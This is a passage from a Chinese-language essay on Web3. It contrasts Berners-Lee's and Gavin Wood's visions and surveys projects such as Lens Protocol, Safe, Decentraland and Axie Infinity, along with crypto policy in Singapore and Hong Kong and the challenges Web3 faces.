时代既是内容的创造者又是内容的消费者。这期间的代表性公司有 Facebook, Twitter, 新浪博客等等。 1999年，万维网之父 Tim Berners-Lee 在《编织网络：万维网创造者的原始设计和最终命运》首次表达了他对语义网的愿景：“即计算机能够分析网络上的所有数据——人与计算机之间的内容、链接和交易。” 语义网的目标是使互联网数据机器可读。2006 年，Tim Berners-Lee把语义网描述为 Web 3.0 的组成部分，他说“人们一直问Web 3.0是什么？SVG在Web2.0的基础上大面积使用——所有东西都起波纹、被折叠且看起来没有棱角——以及一张语义网涵盖着大量的数据，你就可以访问难以置信的数据资源。” 2009 年，Tim Berners- Lee 和 Ching-man Au Yeung 等人发表了 《去中心化：未来的线上社交网络》，提出了建立开放的去中心化社交网络，让用户控制自己的数据。文中强调给予用户隐私权，让用户决定信息的分享对象。此外，还提出将信息存储在用户信任的服务器或者本地电脑，给予用户对数据的所有权。文中还提到使用 URI 作为用户的互联网身份，连接数据和应用。但是Tim Berners- Lee 的提议缺失一个激励各方的方案，Web2 互联网巨头没有采用。 同一年， Satoshi Nakamoto 发表了《比特币：一种点对点式的电子现金系统》，提出了价值可以通过点对点直接进行传播，不依赖不可控的第三方。这为有智能合约功能的 Ethereum 的诞生奠定基础。 在 2014 年启动 Ethereum 后不久，联合创始人 Gavin Wood 博士在《去中心化应用：Web3.0是什么样的》中对 Web3.0 的定义提出了和 Tim Berners - Lee 不一样的观点。他主张用区块链来记录公共信息，保护个人隐私，用智能合约消除对可信第三方的需求。这是第一次将区块链引入互联网的设计，也是加密行业人士普遍讨论的 Web 3.0。而Tim Berners - Lee 提倡将数据去中心化存储在服务器或者本地电脑，而非区块链，因此很多加密人士更加认可 Gavin Wood 定义的 Web 3.0。有些行业人士和媒体为了方便，用缩写的“Web3”来代替Web 3.0。 笔者认为，Tim Berners - Lee 和 Gavin Wood 对于更好的互联网的愿景有很多相似之处，但是实现的手段有根本性区别，所以这两种 Web 3.0 的定义本质上是不同的，所以应该分别用 Web 3.0 和 Web3 区分开来。Web3 旨在通过去中心化存储、区块链技术和基于社区的自我主权身份，将个人数据的控制权从 Web 2.0 企业手中恢复到用户手中。用户将拥有谁能访问其数据的最终权力。Web3 的实施，旨在通过利用加密货币钱包来赋予用户数据所有权。这些钱包作为一种手段，让用户存储他们的密钥并确保他们的数字身份。用户通过他们的加密货币钱包登录到各种区块链应用程序，拥有完全的控制权，可以决定谁能访问他们的数据，这与 Web 2.0 巨头行使的中心化控制有明显区别。这种访问和管理数据的方法可与使用 Facebook 或者 Google 账户登录相媲美，但关键的区别是，用户对他们的信息保留完全的所有权和控制权。 Web 3.0 旨在通过连接各网站的数据来提高效率和智能。相比之下，Web3 将安全和用户控制放在首位，让他们对自己的数据和身份拥有所有权。 Web 3.0 通过 Solid Pod 来在一个去中心化服务器中存储用户数据。存储在用户的 Solid Pod 的数据不会在任何其他 Solid Pod 中复制或传播。存储在 Solid Pod 中的数据可以由其所有者修改或更新。如果黑客能够获得对用户帐户未经授权的访问，他们就有可能修改存储在 Solid Pod 中的个人数据，且无法最终确定某个特定的修改是由黑客进行的，还是由用户自己或其他有合法访问权的人进行的。而基于区块链的 Web3 ，用户将他们的数据不可改变地、安全地存储在一个通过私钥访问的加密货币钱包中。基于区块链的去中心化性质，以及难以修改的存储在多个节点的数据，Web3 中的数据比 Web 3.0 更加安全的。 Tim Berners-Lee 仍在质疑区块链和加密货币的作用，Web 3.0 和 Web3 本质上是关于更好物联网不同的解决方案。 2021，众多知名公司对 Web3 赛道的投资和加密货币牛市的推波助澜，人们对 Web3 的兴趣激增，讨论频繁。 加密货币不是实现去中心化的唯一方式。目前 Web3 使用门槛高，性能还不能满足大规模应用，并且安全事故频发，我们可以考虑先实现 Web 2.x+，即利用成熟的传统 Web 2.0 技术和区块链的优势来提供更好的服务。为了更好地理解可用的设计方案，我们可以在 Web 2.x+ 这个更大范围对不同的方法进行分类，其中 x 可以从 1 到 9 不等。例如，将 Web 2.0 技术的好处与没有加密货币的区块链平台结合起来的设计可以被称为 Web 2.5，或 2.4，或2.6。亦或者平台使用加密货币和区块链技术，但是平台托管用户资产，用户依旧采用账号和密码登录，此时就是 Web 2.x+ 中的一种。最近媒体报道简单地将新型互联网设计称为 Webx，没有小数，可能导致进一步的混淆。Web 2.x+ 的去中心化程度低于完全开放、无需许可的区块链与加密货币。 笔者认为 Web3 包含了对区块链技术的使用和智能合约的整合。虽然对加密货币在 Web3 中的作用现在依然众说纷纭，但我们认为，没有加密货币的区块链可能缺乏必要的激励措施来使 Web3 可行、繁荣。我们对 Web3+ 的定义包含了 Web3 所有可能的实现方式，包括区块链技术和加密货币。这里的+指的是加密货币，跟互联网+是不同的概念。通过加密货币，我们能够涵盖 Web3 未来的全部可能性。通过这个定义，可以更好地区分开无币区块链和有币区块链对互联网的不同影响。 （注：以上是笔者对互联网不同阶段的定义和理解。若有不同的观点，欢迎我们联系交流。为了便于读者理解，以下讨论的Web3采用现在行业内常用的定义，即包含加密货币的使用。） 那么，今天大家在新加坡和香港发展的 Web3 到底是什么样的呢？ Ethereum.org 在《介绍 Web3》的文章中认为 Web3 的核心是使用区块链，加密货币和 NFT 让用户重新获得所有权。 Not Boring Capital 的 Packy McCormick 把Web3描述为由建设者和用户拥有的互联网，用代币进行协调。 剑桥大学贝内特公共政策研究所（Bennett Institute for Public policy）发布的一份政策简报将Web3定义为“推定的下一代网络技术、法律和支付基础设施，包括区块链、智能合约和加密货币。 中国证监会科技监管局局长姚前在2022年3月发表的《Web3.0：渐行渐近的新一代互联网》中提到 We3 是用户与建设者拥有并信任的互联网基础设施，是安全可信的价值互联网，是用户与建设者共建共享的新型经济系统，是立体的智能全息互联网。 那么Web3的核心是什么呢？笔者认为有以下几点。 Grayscale Research 认为，Web 2 手机互联网改变了我们使用互联网的方式、地点、时间和原因。这也反过来改变了我们的产品、服务和使用的公司，也改变了我们的商业模式、文化和政治。 Web3 元宇宙也有这种可能。 用户在 Web2 时代为了获取便利的服务，失去了诸多权利。这些公司利用算法根据用户画像，推广针对性的广告和内容，获取丰厚的收入。甚至有可能散布有目的性的假新闻或者具有诱导性的言论。用户提供数据，却不能分享利润，还失去了隐私。内容创作者处于弱势地位，创作成果可能遭遇删除或者封号，很难通过创作分享平台收益。公司采用中心化服务器，受到攻击容易导致网络瘫痪，用户数据泄露或者遗失。各个平台相对孤立，用户需要在每个平台创建身份才能交互，且不具有这身份的所有权。 Web2 互联网科技公司发展壮大还不利于创新。这些巨头会利用流量和资源打压初创企业，更改市场玩法。小企业要么选择被收购，要么在和巨头的对抗中举步维艰。 A16z的投资人 Chris Dixon 用以下这张图预告了 Web2 平台在生命发展周期中，和用户、生态参与者有着不可调和的矛盾。 中心化平台发展初期，会招募员工、合作伙伴来创造良好的服务，用补贴的方式吸引用户，以此来获得多方面的网络效应。随着市场占有率扩大，中心化平台的能量超过了用户和生态参与者。到了 S 曲线顶部，中心化平台和生态参与者的关系从正和状态变为零和状态。此时他们最容易的成长方式就是将用户数据货币化，与生态参与者争夺利润。对于生态参与者来说，这种从合作到竞争的变化就像一个诱饵。一些创业者、开发人员、投资人开始思考更好的解决方案。 那么基于区块链技术的 Web3 会是正确的答案吗？让我们看看 Web3 具体能带来哪些改变。 NFT, 即非同质化通证，是存储在区块链上的数字资产。因为其非同质化的特性，可以作为数字凭证来确认用户的所有权。NFT 可将艺术品、音乐、影视，甚至现实世界资产如房地产进行通证化，确保所有权的公开、可验证以及不可篡改。 以NFT 在游戏领域的应用为例。Web2 游戏厂商对游戏拥有绝对控制权，可以修改角色，禁止玩家账号。如果厂商倒闭，玩家辛苦修炼的角色和收集的装备，也将随之消失。玩家付费不是购买商品的所有权，而是一种租赁使用权。而 Web3 的游戏，角色和装备以 NFT 的形式由玩家自己控制，游戏厂商无权修改和禁止。如果游戏设计得不好，或者厂商决定停止运营，玩家可以将角色和装备转到其他游戏中玩，具有更大的自主性。用户甚至可以将道具售卖给其他玩家，实现经济价值。 Web2 公司会要求用户遵守平台规则，Twitter、Facebook、Youtube 等中心化社交媒体会对发布的内容进行审核，可以随意关闭一个账号，使用户和和朋友或者粉丝失去联系，发表在平台上的作品可能在一夜之间荡然无存。然而 Web3 的社交平台，让用户的内容以NFT的形式去中心化存储在 IPFS、Arweave，不用担心内容审核不通过或者被删除。 再比如去中心化区域服务如 Ethereum Name Service (ENS) 、Unstoppable Domains, 用户可以无需许可地登记不可篡改的域名。 Web3 的底层区块链由分布在世界的多个去中心化节点进行验证。任何人在满足质押条件或者挖矿条件后，可无需许可地成为区块链的验证节点。只要底层公链平稳运行，智能合约完善并且无法修改，Web3应用就会持续运行，无法关闭。 Web2 公司读取用户数据获取经济利益已经是众所周知的事实，人们为了便利的服务放弃了自己的隐私。而 Web3 旨在保护用户的隐私，应用获得用户数据之前需要先取得授权。用户可以随意创建匿名的地址，第三方很难知道地址背后的主人。此外，Web3 还保护用户的财产隐私。用户利用隐私币如 Zcash 可以实现隐私转账，第三方无法得知用户转了多少资金以及转给谁。隐私公链让第三方无法查询用户拥有的资产。零知识证明技术可以让用户在不透露账户余额的情况下证明自己是合格投资者。而在传统金融机构，用户在客户经理面前是没有财产隐私的，这就会有潜在的财产和人身危险。拥有隐私是享有自由的前提。 不同区域的身份证类型不同，验证非常规身份证的合法性有难度。身份证如果遗失或者被盗，容易被被用作违法用途。此外，据世界银行的数据，还有 10 亿人没有官方身份证，低收入国家中有 1/2 的女性没有身份证。 互联网用户每使用一个传统应用都要创建一个新的账号。在一个应用上的操作，没法自动同步到另外一个应用上。有些应用允许用户使用 Google Account 等通用账号登录，但会收集用户数据。 在开放的Web3，用户可以一个用私钥来签署交易，在多个协议证明自己是那有正确身份的使用者。用户可以用一个去中心化身份比如钱包地址、ENS等域名服务去登录多个协议。这去中心化身份是匿名、无需许可的，用户可以创建多个去中心化身份。去中心化身份过往不可修改的的交易记录塑造了声誉，让用户可以去参加有门槛的应用，未来甚至会有意想不到的空投奖励。 去中心化自治组织 （DAO） 是一个全球范围的去中心化互联网社区，这是Web3的组织形式。 每个社区成员都可以利用通证进行投票，决定社区事务，防止中央集权后对权利的滥用。DAO 利用智能合约来自动执行投票结果，保证了公平和透明。 在DAO中，用户、贡献者同时也是投资者和所有者, 各方利益高度一致，不存在零和博弈。DAO 组织扁平化的管理使成员不用在官僚主义上浪费时间，有才能的人更容易突出。 区块链的可拓展性和可组合性给 Web3 产品的创新带来无限可能。Web3 每一个开源的新产品都是可以被继续使用和重新开发组合的乐高积木。 例如Huddle01 是一款去中心化的Zoom, 通过流媒体协议 Liverpeer 播放，将录像存在 IPFS。 Klima DAO 将 DeFi 引入低碳，发放绿色债券购买碳排放额度，促进碳价格增长，以此激励公司投资更多环保项目。去中心化写作和筹资平台 Mirror ，将内容铸造成 NFT，永久存储在去中心化存储协议 Arweave，售出NFT可以获得经济收入。 区块链没有限制工作时间，可以一直运行。全世界的开发者在任何时刻都可以进行分工协作，带来更多有意义的新产品。有些产品一开始无法完全满足用户需求，却为下一次进步奠定基础。Web3 创新的飞轮转动起来，将来带来巨大的变化。 现在还有很多人没有银行账户。传统金融体系可以对某些国家或地区进行金融制裁。加密通证的存在使货币的自由流通成为可能，不再依赖于可信赖的第三方。这和 Web3 无需许可、独立自由的内核相一致。 看到 Web2 的种种弊端，Tim Berners- Lee 在2016 年 发起 SOLID 项目，倡导用户数据归属用户，由用户携带自己的数据到应用中，数据的价值属于用户。他在2019 年又发起“Contract for the Web”，试图去解决政治操控，假新闻，隐私侵犯等问题。Google,Microsoft，Facebook都支持这项活动。但是尽管表面上支持，但Facebook似乎无视 Berners-Lee 对 Mark Zuckerberg 提出的要求，如停止为2019年英国大选投放有针对性的政治广告。可见要让这些互联网巨头进行自我革命是不可能的，因为缺乏一套激励机制。而加密通证的诞生使 Tim Berners- Lee 的理想成为可能。 加密通证是协调各方关系必不可少的环节。通证代表各方在组织中所占的利益，当这个组织发展得越好，这个通证的价值就越大。 来源：SUSS NiFT 加密通证也催生了Web3 独有的空投机制。当一个Web3项目启动时，没有资金去补贴用户来使用产品。用户自己花费时间和金钱去体验产品。项目根据用户体验反馈，进行压力测试和产品升级，再去融资。投资机构在了解了这些经过实际测试后的基本面后，投资优秀潜力项目。项目拿到融资后，发放通证奖励早期用户。早期用户可以用通证参与DAO治理。有Web3理想的创业者、投资机构会去支持这套基于加密通证的解决方案，这是一种较低成本、协调各方利益的启动方案。 Web3 的实现不再寄希望于 Web2 巨头的改革，而是可以直接进行革命。 Web3 的上述好处并不是分开的，常常是结合在一起。Web3 能够让我们生活得更好。即在享乐的时候赚更多的钱，在赚钱时获得更多的享乐。 Not Boring Capital 的投资人Packy McCormick 认为 Web3 向外拓展了帕累托乐趣曲线，对Web3 带来的好处做了很好的总结。即在没有使任何人境况变坏的前提下，使得至少一个人的生活变得更好。 在 Web3 世界里，人们有机会通过喜欢、擅长的技能谋生，和志同道合的伙伴分工协作，创造出令人耳目一新的产品，自由、平等地过上更加充实而又有意义的生活。接下来让我们看看 Web3 给我们带来了哪些经典应用。 Facebook、Twitter、Youtube等 Web2 社交网络从中心化数据库读取数据。这些社交平台各自拥有并控制着用户的画像、关系网和内容。因此，每个社交平台都互相竞争用户的注意力，导致了激烈的零和游戏。 Lens Protocol 旨在解决现有社交媒体网络存在的这些问题。作为一个Web3的社交图谱，Lens Protocol 使创作者拥有和社区的联系，创造了一个完全可互操、用户拥有的社交媒体网络。 Lens Protocol 通过NFT赋予用户所有权。只有在白名单的地址才可以铸造简介NFT，有效地防止了虚假账号。每个单一地址可以拥有一个或者多个简介NFT。Lens Protocol 的简介NFT和其他链上身份的不同之处在于其可以发布内容。一个用户的简介NFT包含了他们创造的所有内容，包括帖子，转发，评论以及其他形式的内容。此外，简介NFT还有关注模块。每个关注NFT都有一个独特的 Token ID，根据它们关注的顺序逐渐递增。使用 Token ID, DAO可以很容易地筛选出早期支持者，给予额外的福利。 因为用户可以在任何建立于 Lens Protocol 的应用上使用自己的数据。内容创作者不再担心失去它们的作品或者粉丝，因为他们是通过NFT成为真正的内容拥有者。此外，Lens Protocol 具有模块化功能，可以根据需要增加新的功能。更值得一提的是，建立在Lens Protocol上的每个应用可以互相协作，促进整个生态系统的发展，不再仅仅是一个零和游戏。因此，开发者可以专注于设计有意义的社交体验，而不仅仅是用户增长。 已经有一些 Lens 生态系统的应用值得我们去关注。无需许可的去中心化社交媒体 Lenster 在未来有可能成为 Twitter 的有力竞争者；Lenstube 提供了去中心、开源的视频分享功能；TeaParty 是一个社交信用协议，提供了一个创新的广告推广方式。不过， Lens Protocol 目前还处于早期发展阶段，用户还不是很活跃，有些应用提供着相似的功能。 传统银行不够透明，有时候甚至会冻结储户的资金。尽管人们可以使用加密钱包来掌管资产，但若没有保存好助记词，钱包的资金就会非常危险。如果一个DAO组织或者协议的财库资金由一个员工来掌控，那也是不安全的。员工可能会卷钱跑路，也可能因为没有保管好助记词，造成资金的永久损失。 Safe 旨在通过提供多签方案来解决这些痛点。Safe 是一个运营在多个区块链上的智能合约钱包，其需要有达到规定数量的多签人签署才会执行交易。假设一个企业有三个合伙人，可以设置钱包里的资金需要两个人或者三个人签署才能交易。通过多签的方式，资金可以受到保护，不会被个人挪用。 以下用一张表格来对比Safe 和其他数字资产存储系统。 Safe 最初只是作为一个内部工具，现在已经发展为一个可编程的所有权平台，来为各个DAO、机构投资者还有散户提供数字资产、数据和身份的安全管理。 除此之外，还有多项应用和工具建立在 Safe 的基础之上。 Conshift 是一个由 Safe 和流支付 Superfluid 支持的资产管理协议。Utopia 是一项 DAO 的工具，来简化运营、工资管理和合并财务报告。Linen Wallet 是一个不需要用户使用助记词的自我托管钱包。 Safe 不仅仅是 Web3 的基础设施，还构建了一个有财务管理生态系统。 Roblox 上市和 Facebook 改名 Meta, 刮起了一阵“元宇宙”热潮。5G、区块链、VR、AR、XR 等基础设施的改进为元宇宙的发展打下了基础。疫情开始后，人们居家办公，减少外出，这也增加了人们对新型线上社交的需要。 Decentraland 是去中心元宇宙的龙头。用户可以在Decentraland上建设、探索，从创作的内容和应用上获得经济利益。所有在 Decentraland 发明的虚拟资产都是由社区拥有的。土地所有者可以决定土地上的建设。创作的内容可以是静态的风景、房地产，也可以是动态的交互系统如游戏、课程、演唱会。土地是非同质化的、可转移、稀缺的数字资产，可以通过数字货币 MANA 购买。 MANA 也可用于购买 Decentraland 上的数字商品和服务。 Decentraland 是最早的去中心化元宇宙，有着丰富的生态系统，可以被看做是 3D 版本的淘宝、抖音、万科等等。 根据 Biteye 和 Decentraland 的AMA，以下这张图概括了Decentraland的使用场景。 使用场景 介绍 案例 衣 Decentraland 给设计师提供了一个脱颖而出的机会。只要设计的产品受欢迎，就可以通过售卖NFT的形式获得经济价值。现实世界中，设计师可能需要支付巨额的费用给平台方来展示产品。 潮牌 RTFKT 以它的虚拟鞋子而出名。你能想象一双虚拟鞋子可以卖上万美元吗？ 食 元宇宙不仅仅是虚拟世界，更是一种生活方式。它可以促进我们现实生活中的服务，拓宽虚拟货币的使用场景。 一家美国的团队在Decentraland上卖披萨，线下送货上门。 住 玩家和创作者可以在他们的土地上建设虚拟别墅和公寓，用于自用或者销售。 著名 DJ 3LAU 在Decentraland 上已经有了自己的一套别墅 行 传统豪车如玛萨拉蒂以及虚拟汽车品牌会举办车展或者进行 NFT 汽车拍卖。 虚拟汽车在元宇宙中可以用于出行。 娱 玩家可以参与加密世界杯，时装展，去娱乐场所和酒吧。他们也可以玩区块链游戏，在复制现实风景的元宇宙中进行旅游。 著名歌手 Paris Hilton 在首届元宇宙节中举办了演唱会。 购 Decentraland 提供了比 2D 线上购物更有趣的购物体验，这是未来元宇宙电商的雏形。传统拍卖巨头苏富比和区块链著名画廊 MP 都在上面举办过活动。 Coca Cola 的第一个 NFT 作品在 Decentraland上展示和销售。 学 远程学习是人们体验元宇宙最普遍的方式。它使人们可以在全世界接受优质教育。 Decentraland上开设了一些VR的课程。 工 不管玩家来自哪里，只要他们有共同的使命，就可以一起合作。越来越多的公司允许员工在家工作来节省员工通勤的时间，使员工可以在舒适的环境中工作。Decentraland 甚至提供了一些在工作岗位，比如虚拟设计师、导游等等。 玩家可以在 Decentraland 上开峰会或者举行团队内部会议。 Decentraland 下一步会专注于发展移动端用户，增强 VR 沉浸感体验，降低用户登录门槛，优化网络性能。2021年全球元宇宙的市场规模预计为 388.5 亿美元，从 2022 年到 2030 年的年复合增长预计为 39.4%。Decentrland 是个值得体验和参与的项目。 游戏是个容易从Web2吸引用户到Web3的赛道，因为游戏玩家更容易接受新事物，且厌倦了传统游戏商的中心化控制。 Axie Infinity 是最出名的区块链游戏，玩家可以收养宠物 Axie 来战斗获取奖励，为所拥有的的Axie 建立王国。在这个游戏生态中，虚拟宠物和土地可以在以太坊的侧链 Ronin 上进行交易。玩家可以选择和机器人或者其他玩家进行对战。他们可以在安卓、苹果等不同设备上使用同一个账号。 Axie Infinity 有两种同质化通证。Axie Infinity Shard (AXS) 和 Smooth Love Potion(SLP ) 都可以用来养育宠物 Axies，AXS 也是治理代币。 Axie Infinity 让“边玩边赚”的模式流行起来，使玩家能够拥有和交易在游戏中获得的物品。那些有熟练游戏技能的玩家可以花费时间和精力来获得真实的经济报酬。相比其他工作，游戏玩家工作的过程是相对轻松、愉悦的。这种“边玩边赚”的模式在疫情期间给欠发达国家和地区的人提供了额外的收入来源，尤其在菲律宾非常流行。这是一个匹配全球资源、建立社交的创新方式。 值得一提的是虽然“边玩边赚”是一种吸引新玩家的有效方式，但这种补贴模式很难持续。区块链游戏的下一次繁荣应该是提供更好的游戏体验。发展初期把广告费用拿去激励玩家也是可行的。在改善用户体验之后，未来区块链游戏或许会从根本上彻底改变游戏行业，让区块链游戏不仅仅只是金融游戏。 Wilton Gorske (2022) 总结艺术家在传统音乐行业寻求合作必须： -在建立高度的信任后，才会分享未发布的作品 -选录、合成、参考他人的歌曲片段需要付费 -寻找不透明的权限注册中心，以联系多个权限持有人来请求许可 -获得使用其他艺术家作品的合法许可 Arpeggi 是一个透明的开源协作的 Web3 音乐创作平台，旨在解决上述问题。在Arpeggi的帮助下，艺术家分享的音乐被再次使用时，会记录下艺术家的贡献。 Arpeggi 是如何做到的呢？ 声音图书馆 当声音或者歌曲被上传到 Arpeggi, ARP协议会发放一个NFT给贡献者来证明其对声音的所有权。每个登记在 Arpeggi 的声音都可以被其他艺术家再次使用。 Arpeggi Studio 这是一个网页版的数字声音工作站，艺术家可以谱曲、发布、铸造音乐NFT。 Arpeggi 通过将创作和消费以合作的形式结合，对 Web2 的音乐平台进行改革。听众可以重新合成他们喜欢的歌曲，分享可供再次使用的作品。目前大部分 Web3 项目专注于音乐人实现创作者经济。Arpeggi 则专注于改变音乐的创作形式。音乐家之间的关系从创作音乐开始，而不是先建立关系再创作音乐。是时候让音乐的创作过程重新变得开放了。 新加坡是个开放型的经济体，因此对Web3一直是持友好的态度，政策相对稳定且具有持续性。副总理王瑞杰就表示，要保持开放心态对待Web3,了解潜在变革的基础科技，不要一竹竿打翻全船人，倡导与具备强大风险管理能力、负责任和创新的企业合作，共同建立数码资产生态系统。当然，他也强调散户应尽可能避免投资机密货币。相对于香港有意发展个人投资者，新加坡比较偏向机构型的商业活动。 新加坡金管局对业界负责任数码资产创新举措表示欢迎，鼓励感兴趣者向金融科技监管沙盒提案以进行实际测试。金管局不仅负责监管，还有发展职能。通过对产品不同发展周期采取合适的监管力度，在监管和发展之间做了较好的平衡。 早在2019年，新加坡就确定加密货币具有“无形资产的基本特征”，明确了持有加密资产的合法性。此外金管局还和业界合作，推动基于加密资产的应用。比如启动「守护者计划」，由星展银行、摩根大通和 Marketnode 牵头，创建一个由代币化债券和存款组成的许可流动资金池，尝试进行DeFi担保借贷。 新加坡对加密资产政策友好不代表宽松。在新加坡加密服务提供商只能在自己的社交媒体账户上营销活动，不可以在公众场合向公众推广其服务。可见新加坡对于市场的争取是比较克制的。 2022年9月，由英国智库Z/Yen和中国（深圳）综合开发研究院联合发布的《全球金融中心指数》排名中，新加坡上升至第三，成为了亚洲的金融中心。Web3 对新加坡经济的贡献有目共睹，新加坡新加坡私人公寓与组屋的租金已分别连续上涨21个月、27个月，成为亚洲最贵。新元汇率也在经济基本面的支撑下保持强势。 香港曾经是众多重要Web3机构的总部，但中间政策出现反复。2022年11月的香港金融科技周上，港府发布了《虚拟资产发展的政策宣言》，声明对虚拟资产从业者持开放和兼融的态度，认同Web3和分布式技术有潜力成为金融和商贸未来发展的趋势。这被业内解读为香港政府重新拥抱Web3的开始。 香港对虚拟资产“相同业务、相同风险、相同规则”的监管原则，以“选择参与”的方式为虚拟资产交易所发牌。目前Hashkey和火币科技已经获得交易所牌照。根据港府的计划，今年6月1日起，将推出虚拟资产交易框架，允许持牌加密货币交易所面向零售投资人开放。金融中介机构和银行可以与来自虚拟资产界的获发牌同行合作，为客户提供虚拟资产交易服务。此次的香港Web3嘉年华上，获得香港金管局首批虚拟银行牌照的众安银行宣布将向持牌加密货币交易所提供加密货币与法定货币的兑换服务，有可能成为亚洲第一家提供相关服务的加密友好银行。 香港财库局局长陈浩濂在嘉年华上表示香港已于今年2月发行代币化政府绿色债券。香港的财政预算公布拨款 5000 万元来推进行业发展，还将推出券商学生金融科技实习计划，鼓励更多优秀人才在未来投身金融科技行业。 香港特别行政区立法会议委员邱达根主旨演讲表示香港将从“联通数字人民币，发展数码港元和虚拟资产服务”、“研发分布式账本技术的创新应用”、“适当的Web3发展策略和监管框架以汇聚全球人才” 三个方向配合国家发展策略，打造国际Web3枢纽。 可见此次香港政府对Web3的积极肯定和大力支持。香港与中国大陆有着不同的分工定位，导致了不同的发展方向。中国大陆有着丰富的技术人才和艺术家，可为香港提供文化IP和技术支持。在此次嘉年华上杭州市上城区人民政府副区长孔德君和香港贸易发展局代表李达锋签署《杭州-香港Web3产业联动备忘录》，推动杭州与香港Web3产业深度融合。香港作为中国的先行先试示范点，可成为中国虚拟经济发展的桥头堡。 Web3 尽管可以给我们带来诸多好处，但还是处于发展的早期阶段，有一些值得改进的地方。 目前只有萨尔瓦多、中非共和国把比特币认定为法定货币。不同国家、国家内的不同监管机构对Web3 的政策不一致，也时常变动。由于担心被归类为证券，加密通证的经济模型在设计上也受到了限制，很多代币只有治理功能，不能享受分红。监管的不确定让投资机构和人才犹豫是否现阶段投身 Web3。 目前Web3 消息的传播渠道在 Twitter, 社区建设在 Discord, 开发在 GitHub, API 服务在Infura, 使用AWS 云服务，这些都是中心化基础设施，大大降低了抗审查能力和系统的韧性。 目前也有一些Web3 的项目在做这些基础设施的去中心化版本，但还未被广泛使用。 生态最完善的公链 Ethereum 交互费用非常昂贵，用户高峰期每笔操作要支付近乎100 - 200 美金的费用。Arbitrum 作为 Ethereum 的二层扩容方案，在 Odyssey 活动中由于负载导致 Gas 费用一度高于主网 Ethereum。高昂的使用成本阻碍了 Web3 在发展中国家的发展。 现有区块链的性能还不能承接大规模应用。Ethereum 每秒交易次数仅约为12-15次，时常出现网络拥堵。高性能 Solana 公链虽然每秒交易次数高达3,000左右，却时常出现宕机现象。而传统金融领域 的 Visa 的每秒交易次数为 1,500-2000，长期保持平稳运行。可见对于未来Web3的大规模采用，十分依赖于区块链一层和二层性能的提升。 用户使用Web3产品门槛高。首先，出入金就难倒了一批用户。接着，链上钱包的正确使用更是一个大难题。即使是 Web3 老用户，也会出现私钥丢失事件。而在Web3 世界里，谁拥有私钥谁就拥有账户，没有客服来解决这一问题。不过，我们也看到有些钱包通过社交恢复等功能来解决这一痛点。再加上Web3 项目繁多，良莠不齐，因此安全事件时有发生。如何让Web3产品更易用是下一步发展的重点。只有当一个Web3 产品能够让用户在不知道Web3的情况下，享受到和 Web2同质量的服务，这 Web3 产品才算成功。 首先，面向公众的媒体对产品发展的介绍少，倾向于报道加密货币的暴涨暴跌等吸引眼球的新闻。加密圈外人士以为这只是一个投机的场所，意识不到 Web3 可能带来的变革。其次，加密资产是高风险产品，需要普及风险教育，让大众以正确的心态参与产品的使用，以适合自身财务状况的资金进行理性的投资。Web3不一定马上适合所有大众。这是一个循序渐进的过程。 虽然 DAO 的治理方式让大众有权利参与决策，但是手握大量代币通证的巨鲸在治理过程中话语权过大，有时候可以直接决定投票结果。而有些代币只有治理功能，这就使代币的作用失去意义。 Web3 给了人们更多自由的同时，也被其他不法分子利用。有的会在去中心化发布平台上发布反社会言论，通过隐私混币器进行洗钱活动，铸造 NFT 贩卖色情内容等等。虽然说技术是中性的，但行业应该思考如何降低技术对社会的负面影响。 尽管 Web3 发展非常迅速，目前仍处于早期阶段。a16z 在2022年5月的报告中预测 Ethereum 有约 700万 到 5000 万的活跃用户，把Web3 目前的所处阶段类比于 1995 年的商业互联网，即现在的巨头Facebook 和YouTube 的创立初期。 Source: a16z 那么，Web3 的未来会是什么样的呢？让我们一起进行展望。 Web3 是重新定义生活方式的新兴科技，元宇宙是 Web3 科技带来的生活方式。人们可以选择在虚拟世界或真实的现实世界中任意切换。理想的 Web3 元宇宙是一个不受任何组织或者个人控制的共享数字空间，每个人都拥有自己的数字资产，可以在社交或者商务活动中自由交换。物理世界可以在元宇宙中复制，给用户真实的沉浸感，以至于他们分不清虚拟和现实。相反，现实中不存在的品牌、活动、角色可以在元宇宙中被创造。元宇宙实际上是孪生经济，虚拟世界与我们今天所知道的物理世界一样，是新经济的一层。 Vitalik Buterin， Glen Weyl 和 Puja Ohlhaver 发布了《去中心化社会：寻找 Web3 的灵魂》，提出了由即账户持有不可转让的灵魂绑定代币（SBT），以更好地编码 Web3 中社会关系网络。这其实就是一种去中心化身份DID的解决方案。DID 是人们在元宇宙的另一个身份，和现实世界的性别、年龄、外貌等身份特征无关。DID 是下一步重点建设的Web3基础设施之一，是元宇宙生活的重要组成部分。每个人都可以有多个DID，每个DID不一定对应单一个体。DID的完善，有利于塑造不可转让的社会关系，建立起个人品牌。DID 还为产权和治理提供了新的方案，防止空投猎人的女巫攻击，鼓励真实参与，自下而上打造更具活力、更加真实的云宇宙社区。 如果实体没有受到指挥，Web3 如何运转呢？Elinor Ostrom 因为她在悲剧的共同问题的研究获得诺贝尔经济学奖。但是她并没有得到科技的帮助来执行她的方案。但是在 Web3 和区块链上智能合约支持的通证的帮助下，每个人都被激励去增强网络价值，而不是去破坏共享空间。在没有中央集权或者缺乏有效控制的情况下，计算机代码可以帮助管理共享空间。DAO 利用通证经济来凝聚一群有共同爱好的社区成员，自下而上地为了同一使命进行创新。但他们又不会被限制进行自我创新。除了代码外，没有自上而下的控制，每位成员都自发地做贡献，为共享空间或者组织的增加价值。 我们看到 Bored Ape Yacht Club (BAYC) 这目前世界上最有影响力和最昂贵的NFT项目允许粉丝基于持有的NFT进行创作，模糊了粉丝和创作者的界限，产生新品牌的同时还增加了BAYC的品牌曝光度； 去中心化众筹竞拍 PartyDAO 最初起源于Twitter上周末的一次头脑风暴；MoonDAO尝试将人送上太空；Toucan 将碳补偿通证化，致力于利用 DeFi 的力量来降低世界的碳足迹。DAO 以其全球范围的人才储备、7天 24小时的工作协作以及扁平化的管理结构，激发Web3成员的创新热情，让Web3社区保持有趣和活力。 Facebook 更名Meta，彰显其发展元宇宙的决心；Instagram 正在向 100 多个国家或地区推出NFT展示功能；奢侈品牌Prada, Tiffany 发布NFT；Twitter 推动Bluesky 来发展去中心化社交。我们看到越来越多的Web2公司发展Web3业务，或者参与Web3主题活动。一方面是为了营造品牌形象，拓展目标客户。另一方面是相信Web3技术推动的元宇宙是未来的潜力增长点，会有更多现实世界没有的业务在元宇宙里产生。Web2公司的品牌效应会推动Web3技术和产品在更广阔的市场中应用。根据Precedence 